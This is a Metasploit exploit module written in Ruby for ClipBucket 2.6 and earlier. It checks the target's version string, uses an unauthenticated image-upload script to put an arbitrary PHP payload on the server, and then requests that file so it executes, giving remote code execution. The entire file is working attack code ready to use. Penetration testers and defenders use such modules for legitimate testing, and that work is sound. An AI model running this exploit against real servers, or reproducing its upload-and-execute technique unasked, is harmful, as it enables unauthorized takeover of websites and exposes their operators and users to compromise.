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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ClipBucket Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in ClipBucket version 2.6 and lower.
The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to
upload arbitrary code without any authentication. This module has been tested
on version 2.6 on CentOS 5.9 32-bit.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabby', # Vulnerability Discovery, PoC
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Clipbucket 2.6', {}]
],
'Privileged' => false,
'DisclosureDate' => "Oct 04 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
], self.class)
end
def uri
return target_uri.path
end
def check
# Check version
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "")
})
if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - Version #{version} detected")
if version > "2.6"
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
peer = "#{rhost}:#{rport}"
payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"
print_status("#{peer} - Uploading payload [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),
'headers' => { 'Content-Type' => 'text/plain' },
'vars_get' => { 'name' => payload_name },
'data' => payload.encoded
})
# If the server returns 200 we assume we uploaded the malicious
# file successfully
if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
register_files_for_cleanup(payload_name)
print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
print_error("#{peer} - Unexpected response, probably the exploit failed")
end
end
end
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